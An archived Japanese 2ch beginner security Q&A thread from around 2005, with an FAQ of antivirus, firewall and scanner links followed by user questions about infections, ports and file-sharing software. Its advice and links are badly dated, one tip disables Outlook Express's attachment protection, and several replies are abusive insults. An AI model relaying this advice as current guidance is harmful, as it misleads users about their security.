セキュリティ初心者質問スレッドpart62

インターネットとパソコンのセキュリティ関係の初心者質問スレです。

★━ 質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ OSの種類（必須)、ブラウザ、セキュ関係ソフトの有無、やってみたこと等できる
　　 だけ詳しく報告。（例）「WinXPSP1,IE6SP1使用。ADSL回線でプロバイダは〜
　　 〜のルータを導入しているが、〜ができなくなった」等
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ マルチポスト（他スレ、他サイトとの同時質問）禁止。他スレから誘導された場合は、
　　 その旨書くこと。
　・ 違法な話題や質問(WinMX、Winny、エミュレータ等)は禁止です。
　・ 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。

《参考》
ウィルス情報＆質問　総合スレッド☆Part32
http://pc8.2ch.net/test/read.cgi/sec/1123855818/

・IEが乗っ取られて変になった↓
　　初心者板 http://pc8.2ch.net/pcqa/ に逝って「エロサイト」で検索
　　　関連サイト ttp://www13.plala.or.jp/sukiero/erostart/
・Windowsの動作がおかしい→ http://winfaq.jp/
・なんでもいいからとりあえず検索→Google http://www.google.co.jp/
・ページ内検索→ Win:[Ctrl]+[F](Mac:[コマンド]+[F])
・分類不明の質問→[ここらあたりで探してください] http://pc8.2ch.net/pcqa/
・２ちゃんねるの仕様の質問→ http://etc3.2ch.net/qa/
・2chスレッドタイトル検索→ http://gulab.ruitomo.com/~gulab/k.html

アンチウイルスの性能評価をしている「AV Comparitives」の8月のテスト結果。
http://www.av-comparatives.org/seiten/ergebnisse/report07.pdf
http://www.av-comparatives.org/
1位 Kaspersky
2位 Symantec（ﾉｰﾄﾝ）

スパイウェアに対する検出力評価
ttp://www.infoworld.com/article/05/09/19/38FEspy_1.html
1位　F-Secure
2位　Webroot
3位　LANDesk
4位　Sunbelt
5位　SurfControl
6位　McAfee
7位　Trend Micro
8位　eTrust
9位　NOD32 v2.5

■Internet Explorer：つねに最新バージョンにアップデートしておく。（IE5.5sp2、
　6.0sp1以降推奨）
■安全なブラウザを利用する：
　Opera http://www.jp.opera.com/； http://www.opera.com/（英語)
　Opera日本語ファイル http://my.opera.com/community/customize/langs/
　Firefox http://www.mozilla.org/products/firefox/
■怪しいメール：開かずに捨てる。IE5.01SP2,IE5.5SP2,IE6.0以上でなく
　Outlook Expressを使用している場合、メールをクリックしただけで感染する場合が
　あるので、プレビュー機能は必ずオフにしておく。
■アンチウィルス：常に最新パターン(ウィルス定義ファイル)に更新してないと意味なし
■不審なURL対策：
URLの文字列をよく見る。sex、loli、search、virusなどの文字列が入っていないか？
鑑定→ラウンジhttp://pc8.2ch.net/test/read.cgi/hack/1122897283/ へ。(初級ネットワーク板）
　その他「勇気」「鑑定」等のキーワードで鑑定スレを検索。
　初心者が誤ってクリックしないよう、ウィルスやブラクラへ直接リンクを張らないこと。
　リンク先を直接見る→「対象をファイルに保存」→メモ帳で一度開いてみる。
■アダルトサイト対策
　インターネットオプション→セキュリティ→インターネット→レベルのカスタマイズ
　→ ActiveX、JAVA、スクリプトを全て無効
　ブラウザハイジャッカーの99%はIE以外では作動しない。IEの部品を利用しないOperaや
　Firefoxを利用するとトラブルを防げる。
■最近はウィルス以外にブラウザを乗っ取って個人情報を盗んだり、エロサイトに飛ばし
　 たりするスパイやハイジャッカーが流行している。アンチウィルスソフトだけでは防げ
　 ないのでアンチスパイソフトも入れておく。参考 ttp://www13.plala.or.jp/sukiero/erostart/

【OE(=Outlook Express)】
・OEのプレビューをオフ
　[表示]-[レイアウト]-「プレビューウィンドウを表示する」
　のチェックを外す。

・OE6で添付ファイルが開けない
　「添付ファイルは安全でないため……」と表示される。
　 [ツール]-[オプション]-[セキュリティ]タブ-「ウイルスの
　可能性がある添付ファイルを保存したり開いたりしない」
　のチェックを外す。

・OE以外のメーラーならウィルスメールを開いても安全か？
　IEコンポーネントを利用してHTMLメールを表示する場合はご用心。

　→[おすすめのメールソフトは何？]スレ参照
　http://pc8.2ch.net/test/read.cgi/software/1101659990/


　OE(又はIEコンポーネント使用メーラー)の問題点とその対策方法
　http://pc8.2ch.net/test/read.cgi/sec/1021363841/ (dat落ち)

　IE6SP1適用済みOE6ならHTMLメールをテキスト形式表示可能
　http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20021007/1/
　http://www.ipa.go.jp/security/txt/2002_10.html

【IPアドレス】
・自分のIPアドレスを確認
　9x系：[ファイル名をしてして実行]→winipcfg.exeを実行。
　NT系：コマンドプロント起動→ipconfig /allを実行。

・他人のIPアドレスを確認
　MS-DOSプロンプト(コマンドプロンプト)を起動して、
　netstat -anを実行。表示されたポートから判断。

・IPアドレスから個人情報は漏れるか？
　プロバイダが所有する情報は公権力が無い限り、外部漏洩は
　通常なし。それよりもクラッキング対策をするべき。

・IPアドレスからプロバイダを知りたい
　>>6-9の【Whois】参照。なお、結果を貼りつけても無視される。

【掲示板】
・掲示板荒らし対策
　注意、警告、放置、削除、一時閉鎖、利用制限、通告、完全閉鎖。
　冷静に判断し、対応。困っているのは貴方だけではない。

・掲示板利用者のIPアドレスは調べられるか？
　HTMLソースに書いてある場合もある。

【各種 Firewall】
ZoneAlarm (本家) http://www.zonelabs.com/ (日本) http://jp.zonelabs.com/
Kerio Technologies Inc. | Kerio Personal Firewall
http://www.kerio.com/kpf_home.html
Tiny Personal Firewall http://www.tinysoftware.com/home/tiny2?la=JP
Agnitum Outpost http://www.agnitum.com/download/outpost1.html
Sygate Personal Firewall http://www.sygate.com/
AtGuard http://www.atguard.com/
BlackICE Defender http://blackice.jp/
Snort for Win32 http://www.datanerds.net/~mike/snort.html
【ログ解析ツール】
ICEWatch http://www.angelfire.com/falcon/icewatch2000/
ZoneLog Analyser http://zonelog.co.uk/
TPF Log Analyzer （Tiny Personal Firewall用）
http://server47.hypermart.net/tinyfirewall/ (リンク切れ)

【スパイウェア発見ソフト】
Ad-aware http://www.lavasoft.nu/support/download/
Spybot http://security.kolla.de/
【フリー版、体験版、日本語パッチ 等】
ZoneAlarm英語フリー版、Pro http://www.zonelabs.com/store/content/company/products/trial_zaFamily/trial_zaFamily.jsp
フリー版→「ZoneAlarm Free Download」、Pro→「ZoneAlarm Pro」
ZoneAlarm日本語フリー版 http://jp.zonelabs.com/download/znalm.html
ZoneAlarm日本語Pro評価版 http://jp.zonelabs.com/products/zapTrial.html
Tiny Personal Firewall 日本語化パッチ
http://www.geocities.co.jp/SiliconValley-Cupertino/2943/

【セキュリティ チェックサイト】
Shields UP ! https://grc.com/x/ne.dll?bh0bkyd2
Symantec Security Check
http://security.symantec.com/default.asp
Secure Design - Port Scan Security Check
http://www.sdesign.com/securitytest/
セキュリティチェックサイトのリンク集
http://www.toyo.co.jp/security/ice/advice/Support/KB/q000026/default.htm
【Whois】
APNIC http://www.apnic.net/
JPNIC Whois Gateway http://whois.nic.ad.jp/cgi-bin/whois_gw
IPドメインSEARCH MSE株式会社 http://www.mse.co.jp/ip_domain/index.shtml
【解説サイト】
Firewall 解説サイト Fire & Forest http://eazyfox.homelinux.org/
日本Snortユーザ会 http://www.snort.gr.jp/

[ウィルス情報]
IPAセキュリティセンターhttp://www.ipa.go.jp/security/isg/virus.html
Symantec Security Response http://www.symantec.com/region/jp/sarcj/
Trend Micro ウイルス情報 http://www.trendmicro.co.jp/vinfo/
McAfee ウイルス検索 http://www.nai.com/japan/security/vlibrary.asp

・無料で使えるアンチウイルスソフト
　AVG http://pc8.2ch.net/test/read.cgi/sec/1124422228/
　avast!　http://pc8.2ch.net/test/read.cgi/sec/1127082617/
　BitDefender Free Edition　http://pc8.2ch.net/test/read.cgi/sec/1127146629/
　AntiVir　http://pc8.2ch.net/test/read.cgi/sec/1123566592/

・ソフトがなければ、オンラインウィルススキャン
　http://www.symantec.com/region/jp/securitycheck/index.html
　http://www.trendmicro.co.jp/hcall/index.asp
　http://www.pandasoftware.com/activescan/jp/activescan_principal.htm
(※署名済みActiveXコントロールのダウンロードを有効にすること)

・ウィルス対策ソフトの用語
　「駆除」：ファイルからウィルスを取り除くこと。
　「隔離、検疫」：ファイルをリネーム、移動。実行できなくする。
　「削除」：ファイル自体を削除。ワーム本体は通常、削除される。
・デマウィルス（安全なファイルをウィルスだと言い張る偽情報）
　jdbgmgr.exe、sage.exeなどは全てWindowsのシステムファイル。
　http://www.ipa.go.jp/security/topics/alert140515.html参照。
・webメール：添付ファイルを実行した場合、感染確率大。
　hotmail：ウィルス検査はあるが、新種のウィルス相手には無力。
・MacはWindowsのウィルスに感染するか？
　WindowsのアプリケーションはMacでは通常は実行できないので、
　感染はしない。但し、保菌してMac→Winへ感染する例がある。
・ファイアーウォールがトロイのアクセスをブロックしたが…
　アウトバウンドで検出：感染の可能性高。
　インバウンドで検出：感染の可能性低。念のためにチェック。
　※たまたまバックドアツールが通常使うポートと同じ場合もある。

[Windows板] 広告カットとファイヤーウォールソフト。
http://yasai.2ch.net/win/kako/971/971411733.html
[パソコン一般板]
自分のパソコンへの不正侵入対策してますか？2
http://salad.2ch.net/pc/kako/980/980600110.html
[初級ネット板] 簡易ファイアーオール
http://mentai.2ch.net/hack/kako/972/972826108.html

パソコン初心者＠2ch掲示板 http://pc8.2ch.net/pcqa/
初級ネットワーク＠2ch掲示板 http://pc8.2ch.net/hack/
windows＠2ch掲示板 http://pc8.2ch.net/win/
ソフトウェア http://pc8.2ch.net/software/
ダウンロードソフト(download板) http://tmp4.2ch.net/download/
パソコン一般＠2ch掲示板 http://pc8.2ch.net/pc/

「森で遊ぼう」
(ファイヤーウォール等セキュリティ関係解説サイトダウンロードページのリンク 日本語解説ページあり)
http://eazyfox.homelinux.org/

・IE(インターネットエクスプローラ)やOE(アウトルックエクスプレス)は危ないと感じた人達へ
ネスケ（ネットスケープコミュニケータ）やOpera（オペラ）を使用するという手段があることも念頭にいれてお いてください
http://wp.netscape.com/ja/
http://www.jp.opera.com/

前スレ

セキュリティ初心者質問スレッドpart61
http://pc8.2ch.net/test/read.cgi/sec/1127463521/

>>1
乙です

質問なのですが。ＰＣがダイヤルアップの時に鳴らすような音を10秒おきくらいにカチッカチッっと鳴らすのです。
それがずっと鳴り止みません。ウイルスか何かなのでしょうか？それともスパイウェアなのでしょうか？

>>9
リンク先訂正

AVG 　http://pc8.2ch.net/test/read.cgi/sec/1127964895/
avast!　http://pc8.2ch.net/test/read.cgi/sec/1129212293/

さきほどノートンの自動ウィルスチェックで、
c:\WINDOWS\system32\SVKP.sys がHacktool.Rootkitに感染しました。
と出ました。
すぐに間違えてウィンドウを閉じてしまったので、なんと書いてあったのかわからなくなってしまったんですが、
修復はできず検疫した　というようなことが書いてあったと思います。
ＰＣに詳しい知り合いは私と生活環境が異なるためこの時間は連絡がつかず、
とりあえずノートンのサイトで最新情報をダウンロードして、もう一度ウィルスチェックをしてみました。
今度は何もひっかからなかったんですが、このＰＣから失くすことができたということでしょうか。

ウイルスに感染すると
外付けHDDやDVDに大事なデータを逃がして
再インストしろって言うじゃないですか。
これってどうなんですか。
データ移す際に外付けHDDやDVDにウイルスが感染して
また同じウイルスにかかるとか無いんですか？
さすがにDVDは無いと思いますが。
この問題にどう対処すればいいでしょう？

>>16
外付けHDDだろうが、DVDだろうが、ウィルス等本体までコピーしなければ
大丈夫。さすがに、その大事なデータには寄生しない。

FWのログに残ってる相手が接続しようとしたポートは、
本来何をする物なのか調べる方法を教えて

>>18
ttp://www.vwnet.jp/mura/tcpip-port.htm

>>18
ttp://www.geocities.co.jp/SiliconValley-Cupertino/5128/500_compu/portlist.html

>>19
�d�d
載ってないから気になる15001って何やねんorz

>>16
ウイルス持ちのｐｃで作成したデーターのCD-Rはウイルスに感染してたぞ
リカバしてバスター入れたのでそれで即検知して駆除したけど

CDRに書き込んだデータをどうやって駆除するんだ

消しゴム

情報セキュリティアドミニストレータって取得する価値ありますか？

誘導されてきました。
使用OSはWindowsXP HomeEdition SP2
Internet Exploreはバージョン情報には十桁以上の数字とアルファベット並んでいるのですが先頭の数字は6.0となっています。こちらもSP2です。
Ad-Aware SE・CoolWebSearch・Norton AntiVirusuでも何も検出されませんでした。

上記のInternet Exploreを使用していると、閲覧しただけで２ちゃんねるのスレッド一覧が勝手にお気に入りに追加されてしまうことがあります。症状は

・一番端にモナーのアイコンが表示されています。他のはInternet Explorerのものが表示されています。
・履歴欄の一番端にモナーのアイコンが表示されたものが現れると、同時にお気に入りにも追加されてしまっています。
・今回は「コレクション」の一覧が追加されてしまったのですが、以前にも別の板の一覧が追加されてしまって削除したことがあります。
・いつの間にかモナーのアイコンが他のものと同じInternet Exploreのアイコンに変わってしまいました。
やった事といえば、履歴・一時ファイル・Cookieの削除と再起動くらいですが、すぐに確認したわけではなかったので、それが原因かどうかはよくわかりません。

どなたかよろしくお願いします。

>>26
nyかMXやってるか、とFWを入れてるのか聞こうか

>>27
Winnyはやってません。MXというのは知りません。FWは今はWindowsファイアーウォールだけを使っていますが、
少し前までPCGATEと併用してしまっていました。

>>28
面倒かも知れんが、>>9のオンラインスキャンと>>6から無料のものでいいので
FWを入れた方がいい。XPのFWよりセキュリティ上いいから
スパイウェアの不安があるなら>>7のソフトで。大抵の既知のものは検出できる

すみません、唐突ですが、
ルーター機能付きモデムを利用しているのに、サイトの閲覧をしただけでウィルスに感染するということはありますか？

人から聞いた話なので、ちょっと詳しい状況は解らなくて、情報も少なくて申し訳ないのですが・・・

>>29
pandaオンラインスキャンとシマンテックオンラインスキャン以外はやった事があります。ノートンも入れているのですが…
スパイウェアもAd-Aware SE・CoolWebSearch・一応スパイボットも試しました。

>>31
ノートンに限った話じゃないけど、全てのウイルスを抑えれる訳じゃないからね
でも、ウイルスだとしたら聞いた事ない症状だね。不正に侵入されてる可能性が高そう

>>32
浸入の有無、痕跡などを知る事は可能でしょうか？

×浸入
○侵入

>>30
ルーターはアンチウイルスじゃないから感染は防げんよ

自己解決しました。

↑
もちろん偽者です

既出なんですが、改めて基本的かつ重要な質問をさせて下さい。

大手プロバイダーのウィルス対策サービスさえ活用しておけば
経済的にも高価なウィルスソフトは不要だと思うのですが、
この考えは正しいでしょうか。間違っているでしょうか。

１０台ものパソコンをネット接続していて
ノートン先生をバカ正直に完全装備しているので
毎年７万円ほどの大出費となっています。
非常にムダに思えるので何とかならないでしょうか。

あの、フォルダにパスワードを設定したり、
フォルダを隠したりしたいのですが、
良いソフトがありましたら教えて下さい。

http://www.vector.co.jp/soft/win95/util/se138574.html
試しにこのソフトを使ってみたのですが、
このソフトを使って、パスワードを設定したフォルダを開こうとしても、
パスワードを聞かれず、二度とそのフォルダは開きませんでした。


よろしくお願い致します。

>>38
聞かなきゃ判断できない初心者はおとなしくお布施を払っておきなさい。

AD-WARE（無料のほう）って、
先にPCにスパイウェアが入っちゃってても、
あとでこれをインストールすれば、発見・削除できるんですか？
これを入れていれば、とりあえず他のソフトを入れなくても大丈夫？

ソフマップで2002年に出たバイオノートを購入しました。窓XPです。
正規のリカバリCD-ROMがついており、購入後まずさくっとリカバリして、
入っていたノートンを消し、Mcafeeをダウンロードしました。
その初回スキャンで、W32/Sdbot.worm.genとW32/Sdbot.worm!ftpが
ひっかかりました。リカバリ直後なのに。

これは駆除できたのですが、その後sp2をダウンロードしたところ、
dcz.exeをブロックしますか？と訊いてきました。検索してみても、
これが何かわかりません。１ページだけウィルスだという日記が
出てきたのですが、具体的な話が出てきませんし…。
レジストリでは、RunとRunOnceにアップデーターとして数値が
入っているようです。

それで一度これを消してから再度リカバリかけてみたのですが、
やはりdcz.exeがいます。
今再度スキャン中ですが、オールインワンのCD-ROM利用リカバリ後も
居残るトロイなどあり得るのでしょうか？それともこれは正規ファイル
でしょうか？

あと、リカバリ直後から、「レジストリが壊れています」や「hackn.comに
接続が必要です」といったことも言ってくるのですが、これは正しいので
しょうか？他のＸＰをリカバリしたことありますが、こんなこと言われたこと
ありません。
混乱してしまっているので、詳しい方、何かわかればご教授頂ければ幸いです。

質問です。
XｐでSP2を入れて、アンチウィルス２００５も入れてるんですが、シマンテックのセキュリティチェックではICMP Ping
SSH、Telnetがopenの状態になってしまいます。どうしたらstealthに出来るんですか？

先生！
無料Operaはスパイウェアを入れてくるそうですが、本当ですか？

>>43
すみません、番号お間違えでは？

>>45
すいません、間違えました。

大手プロバイダーのウィルス対策サービスさえ活用しておけば
経済的にも高価なウィルスソフトは不要だと思うのですが、
この考えは正しいでしょうか。間違っているでしょうか。

１０台ものパソコンをネット接続していて
ノートン先生をバカ正直に完全装備しているので
毎年７万円ほどの大出費となっています。
非常にムダに思えるので何とかならないでしょうか。

すみません。
お布施払いたくないんで教えて下さい。

皆さんだって聞きたいでしょう？
biglobeに入っておけば高価なウイルス対策ソフトは
いらないのでしょうか！？？教えて下さい！！

絶対なんてありえない。
うだうだ言うならﾌﾘｰのｱﾝﾁｳｨﾙｽｿﾌﾄ入れとけよ。

>>48
まず、ＰＣを窓から投げ捨てろ

マルチになってしまうんですが、答えもらえなかったんで教えてください。

先日、インターネットセキュリティ２００６入れたんですけど、シマンテックのHPのセキュリティsキャンを
やると、ICMP Ping SSH、Telnetがopenの状態になってしまいます。どうしたらstealthに出来るのでしょうか?

ウイルスバスター2005のネットワークウイルス緊急対策のみをオフにすることはできませんか？
ウイルスバスターごときらないとだめですかね？？

おまえら面白すぎ　何でそんな状況になるのかわからない

sygate online serviceでＵＤＰ scanしたら
openになってたポート（135　137　139　445）があったんだけど閉じることはできる？
それ以外のポート、ＴＣＰもcloseになってたけど
ＵＤＰの一部ポートだけopenになってて不安です。

>>54
CloseとOpenの両方が出るのならルーターの設定
上流をスキャンしているんだからファイアーウォールは関係ない

CDから直接実行でウイルスチェックできるソフトはありますか？
できれば無料がありがたいのですが

昨日、ポルノサイト見てたらオフィスソフトが動き出し何かインストールしてたようだが
あれってスパイウェア？

winXpSP2

>>57
no

>>42-43
ファイアウォールなして、インターネットに繋ぐと、ワームとかトロイにすぐに感染しますよ。
バイオに入っているノートンは「ノートンアンチウィルス」だし、マカフィーの何をダウンロードしたのかな？
最初パソコンを購入するときは、同時にパッケージ版のマカフィーならインターネットセキュリティスウィート
を購入すべきでしょう。

>>47
あれ、マカフィーですよ。1台月額400円〜600円かかると思いますが・・・

>>59
そ、そうなんですか…ずっと窓９８だったので、ネットワーク攻撃型は
遭遇したことがないんです。
マカフィーは、廃棄予定の古いＰＣで購入したスイートを再度ＤＬした
形です。(旧ＰＣからは消してます)

とりあえず今度はウィルスはひっかからず、スパイウェアもADで２つ
検出したので消した状態ですが、dcz.exeは相変わらず出てこようと
してファイヤウォールに止められているようです。
全然検索してもかからないというのが気になります。何なんでしょうこれ。
c:\windows\prefetchにpifが入っているのですが、イコールでしょうか。

あ、hackn.comはスパイウェアが原因のサギアプリだと自己解決したのと
作業後は一度も出て来ないので消せたようです。

なお、購入したＰＣは中古で、ＸＰproです。
正規ロムからリカバリすれば、トロイ仕込んで売られていても
大丈夫だと思っていたのに、甘かったのかな…。

>>61
これ、やりましたか？
ttp://www.mcafee.com/japan/security/DisableSysRestore.asp

あと、セーフモードでスキャンしてみたほうがいいかも。dcz.exeについては
よくわかりません。

OSのクリーンインストールをお勧めします。

窓98だとファイアウォールなしでも結構安全なんですか？
98のときは反応が出ず、XPに変えたら速攻でスパイウェアにかかりましたが。
（多分、フラッシュプレイヤーとかが入ってなくて、後からインストしたせい。
危険度高くしてどーすんだ、マイクロソフト！）

ネットゲームでたまにpingがMAXになってしまいます
ポートは開放できているはずなのですが
こういう場合、トロイなどの可能性はあるのでしょうか？

ネットしていた。
調子に乗ってアダルトサイトを見た。
ブラウザ閉じて、IEの一時ファイルを削除。
ANTIDOTEでCドライブ全域を検索。
c:\windows\WFV00000.TMPファイルが、Exploit系のウイルスに感染していると出た。
ウィンドウズのアップデートはやっている。
ブラウザはIEでActiveXやJAVA Scriptはオフ。
OSはWINDOWS 98
c:\windows\WFV00000.TMPというファイルの作成日は2005/10/22 16:03:40
つまり今日このファイルが作られたわけですが、なぜこんな場所に作られてしまうんでしょうか。
普通はウィンドウズのアップデートをきちんとやっていれば、IEの一時ファイル以外には
ウイルスのコピーは作られないはずだと思っていたのですが、
スタートページは変わっていない。HOSTSの中身も異常無し。HijackThisも異常無し。
まだそのファイルは削除していませんが、セキュソフトは一切入っていませんが、
ちゃんとウィンドウスのアップデートも行なってるゆえ、放っておいても大丈夫ですか。
感染ファイルはそれ1つでしたので。
あと、間欠に書くつもりでしたが、長々と下手な文章になってしまいました。

>まだそのファイルは削除していませんが。セキュソフトは一切入っていませんが

　　好きにしなさい。　ただ　NETには繋がないでくださいね。

そろそろWinnyを使い始めようかと思っているのですが、どこでＤＬできますか？
また、セキュリティ面を考えた場合、どのように利用するのが適切ですか？
勝手にＨＤの中身を持ってかれるようなこともあるのですか？

>>68
死ねクズ

>>67
66ですが
普通に削除することができました。
今ゴミ箱に残っているのですが、とりあえず少しだけ様子を見るというのは
どうでしょうか。
特に症状とかはありませんよ。

>>69
地獄に落ちろウジ

>>68
http://rmt987.com
　( ・∀・)oお疲れさま!!

>>66
使用ブラウザがIE5.5とかふざけた事をぬかしてるんだろうな。
だから変な物を拾うんだよ。

95にdunの最新verを入れると危険ですか？（IEと隔離するのに必要らしい）。
ADSLだから大丈夫と思いますが・・

>>73
IEは6のSP1ですよ。
そもそも、ウィンドウズのアップデートしっかりやってるのに
IEが5.5ってどこからそういう解釈が？

なんだこいつ

※大学進学情報の広告サイト「キャンパス・アサヒコム」クラック事件の情報※

シェアが大きな御三家は対応したそうです。

ウイルス駆除の方法について
http://www.campusasahi.com/

※トレンドマイクロ社では、今回のウイルスに関しては、以下のように対応済みとのことです。
■ CHM_DROPPER.CP 日本語情報（トレンドマイクロ社）
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=CHM_DROPPER.CP
■ TROJ_DROPPER.PC 日本語情報（トレンドマイクロ社）
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_DROPPER.PC
■ BKDR_PCCLIENT.BV 日本語情報（トレンドマイクロ社）
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=BKDR_PCCLIENT.BV

※シマンテック社では、今回のウイルスに関しては、以下のように対応済みとのことです。
■ Trojan.Dropper（日本語情報）　対応日：2000年02月07日 (米国時間)
http://www.symantec.com/region/jp/avcenter/venc/data/jp-trojan.dropper.html
■ Backdoor.Darkmoon.B（英語情報）　対応日：2005年10月21日（米国時間）
http://securityresponse.symantec.com/avcenter/venc/data/backdoor.darkmoon.b.html
（日本語情報については24日頃公開予定とのことです）
■ W32.Kipis.A@mm（日本語）　対応日：2004年12月23日 (米国時間)
http://www.symantec.com/region/jp/avcenter/venc/data/[email protected]
これらのウイルスに対応したウイルス定義ファイルは下記のサイトから入手可能とのことです。
http://www.symantec.com/region/jp/avcenter/download.html

※マカフィー社によりますと、今回のウイルスに関しては、10月20日午前1時ごろにリリースした
「定義ファイル4608」で、対応済みとのことです。
http://www.mcafee.com/japan/security/virB.asp?v=BackDoor-CKB

>>76
見ちゃいけません!!

>>68
セキュリティ面を考えるなら、お前みたいなアホは使わないのがベストですよ。

PC一般から誘導されました。掲示板に書き込もうと思ったら、

「逆引きできないホストからの書き込みは禁止されています」

ってでるんですがどういうことでしょうか？ブラウザはfirefoxで
OSはXPでセキュリティソフトはノートンのウイルスの奴だけです

>>80
プロバイダを替えなさいということ。

>>80
それ、セキュリティの質問かいな・・・

逆引きとは 123.456.78.90 のような IP アドレスを ppp0123.abc.com のようなホスト名に直すことを指し、
逆引きが出来ないということは DNS (Domain Name Searvice) に登録されていないことを表します。
このようなホストは不正に利用されたプロキシサーバーであることが多いので、荒らし対策のため、
逆引きできないホストでは書きこめないように設定されています。

ＰＣが盗まれたときのために、ファイルを暗号化できるソフトが欲しいと思っています。
ただ、どのファイルを暗号化すべきなのか、よくわかりません。
各種パスワードをＰＣに保存するようなお馬鹿なことはしていませんし、
普通にルータ経由常時接続しているだけですが、その場合は、
マイドキュメントとかメールソフトのアドレス帳、クッキーくらいでしょうか？
（パスワードマネージャは使っています。）

すみません>>15の方と同じ症状になってしまったのですが、どうしたら改善できますでしょうか？

>>84
Hacktool.Rootkitとして検出されたファイルはすべて削除してください
ttp://www.symantec.com/region/jp/avcenter/venc/data/hacktool.rootkit.html

>>83
個人ならファイルを暗号化するより、バックアップの方が先では？
企業とかで大切な個人情報を保有してあるのなら、お金出さないとね。こういうの↓
ttp://www.necsoft.com/soft/pointsec/about.html

>>85 レスありがとうございます。今ファイル検索したところ何もみつからなかったのですが、なぜノートンが反応したのでしょうか…。IEの一時ファイルやクッキー削除は削除してみました。

Septem Factory Home Page
http://www.7factory.com/index.html

>80
http://pc8.2ch.net/test/read.cgi/isp/1129803989/165-169

>>86
レス有難うございます。
もうバックアップは定期的にとっているのでその辺は大丈夫なんです。
スパイボットやブラスター、ウイルスバスターも入れています。
後は、物理的な防衛策を講じれば完璧かなと思った次第で・・・。

フリーソフトを探してみます。

>>83
ルータのポートはどうなってるんだ?
それすらも分からんのか?

>>91
ポートはどうなっている？というと？
いささか抽象的で主旨がよくわかりません。
ＩＳＰで購入したまま何もいじっておりません。
動的ＩＰでルータの設定に何か意味があるのでしょうか？

疑問なのは、ＰＣ側で保護すべきファイルは何なのか、という点です。
その道の玄人じゃないので、よくわかりません。
ぜひ、その点お詳しい方、ご教示願います。

>>92
どのポートが開いているのかという事だろ
>>93
OSやアプリは再インストールすれば元に戻るがデータは元に戻らないだろ

>>93
本人がわからないのに第三者がわかるわけ無いだろ。考えてから質問しろ馬鹿。

初心者を罵倒するスレなんだっけ、ここ？
つーか、ＨＤＤの物理的な保護と、ポートと何の関係があるんだろ？
ＨＤＤごとＰＣを盗まれた場合の心配をしてるんだろ。
バカはどっちだ？

今Nortonから他のセキュリティソフトの導入を考えてます。

NOD32+ Outpost Firewall Pro
eTrust インターネットセキュリティスイート 2006
上記のどれかを導入しようと思うのですが、どれが良いのでしょうか？

俺なら
AVG　Free+SGアンチスパイ

>>98
SGアンチスパイも良いですね〜

これだけ色々なセキュリティ関係のソフトがあると、何が一番良いのか判り難いですね…

ん〜
どんなセキュリティ環境を設定したいのかわからないけど

自宅で24時間電源入りっぱなしじゃなければ、フリーのFWだけで十分だと思う。
アンチウィルスもオンラインで十分だし。
そこそこ知識あるなら普段の注意だけで問題ないはず。

BitCometっていうファイル交換ソフトを使用し始めたのですが、
このソフトってセキュリティ的には大丈夫でありますか？

俺も聞きたい。
バスターを使っているとBitCometを起動するたびに
スパイウェアが検出されるけど公式？には誤認だと書いてあります。
本当に安全なんでしょうか？

>>101
>>102
　　 　 　 　 　 　,rｭ､_＿　　　　　　　　ほよ??
　　　　 　 　 　 ｆヽ､〕 　 ｀`丶 ､
　　　　　　　　　辷_|　　　　　　 ｀丶、
　　　　　　　　 （_-‐! 　 　 　 　 　 　 ヽ､＿ _
　　　　　　　 　 ｒ'二!　　　　　　　　　´　 　 　￣　＞ｰ ' ´　￣ 　￣　 ー -　._
.　　　　　　　 　 )-､{　　　　　　　 ＿ _＿ _　　　　　　　　　　　　　　 　 __,z‐マ¬ｎ
　　　　　　　　 （_＞}　　　 ,ィ７丁／//／//７ｔ-､__　　　　　　　　　,r＜＼ソ＾trヘ.}
　　　　　　　　　ヽｭ,廴.ｨ斥r'^ｰ'⌒ｰ'⌒ー'⌒ｰく/ ﾊ.__　　　　 　,r'こ＞'⌒′ ハ､丿
　　　　　　 　　　に匁ﾁ‐'".:.:;:.:.:.:;.:.:.:.;': : ;': : : : :└く } }ﾄ､　　rく＼ 丿 　 　　/ｰf´
　　　　　　　　 ,ｨ夕'".;:;:';:::::;:': : ;:': ::〃::/:: : : :/:::i: : :`y' ∧く.`Y⌒´ 　 　　∠^Y
　　　 　 　　／/〃.::;:'/;'::::/ : :/::::://:://! ::::::i:!:::|:!:::::::`ｰj＾ｧ_>′ 　　　 ∠ヽ_ソ
　　 　 　 　 ｀Y!:j .::::i::l:j::,::l: : j :::::jl !:::|l:l:| ::::::ｉ:|:::l:|::::::::i:::(/ h 　 , -ｏ-< ヽ`〈
　　 　 　 　 　{ :{ ::::ｌ::i::!:i::j::! :! ::::ｌi l::::|l:j !:::::::|:l::::l:|::i:::::i::::`j〈_／／仆､ ＼>‐'
　　　　　　　　ﾞ!:|:::::|::ｌ::|:l::l:;l斗:::‐!| |:::ｌｉ| l::::::十!‐+|::_l:::li::::/,小､{_ｲ＾| ﾄ､ヽ,)
　　　　　　　　/ﾊ:::::!::l::l:{::!::l:::! ::::l:| |:::ｌｉ| ﾞ!::::::ﾄ!:::::l:li:::トl:l└vｵ 　ｌ　|/| ﾞＹ
　　　　　 　　/ ハ::::!::!:l:|::!ﾞy,ｧﾈ宀､` ヾヾヽ　,ｧ7=!ｔ､:l::|:l:i (勹　j　j/}|　|
　　 　 　 　 / /　 ヾﾐ:l::|ヾYｵﾞh ::::::} 　 　　　１i　.::::ヽ!:|:ｌi と,ﾌ /　!Y::|　|
　　　 　 　 ヽ/　　 　l｀:::`:l|:ｉ　ﾋﾞ_''ﾂ 　 　 　　ﾄ!､:;;;;::ﾘﾄ川（ｲﾘ/　/i::i:l:|　|
　　 　 　 　 　 　 　 ｜:: ::j:!:kXxx　　. 　　　　`ｰ--'/,';!::!jﾞY,/　/::|::ｉ:|:| ｜
　　　　　 　 　 　 　 ｜:: :l:ｌ:ｉlヽ、　　　､ 　 　 xXxx//// }j"lヽ/ :::ｌ::l:|:L_｣
　　 　 　 　 　 　 　 ｜:: :l:|:l:|:{:{＞ ､ 　 　　　 ,.　ｧ' /⌒ｱヶ-<|:: i::::|::l:|l
　 　 　 　 　 　 　 　 | :: :l:|:l:|:}宀<⌒ｉ` ┬ ' 　,ｨ⌒7‐宀 <,r少t:｣::::|::l:|l

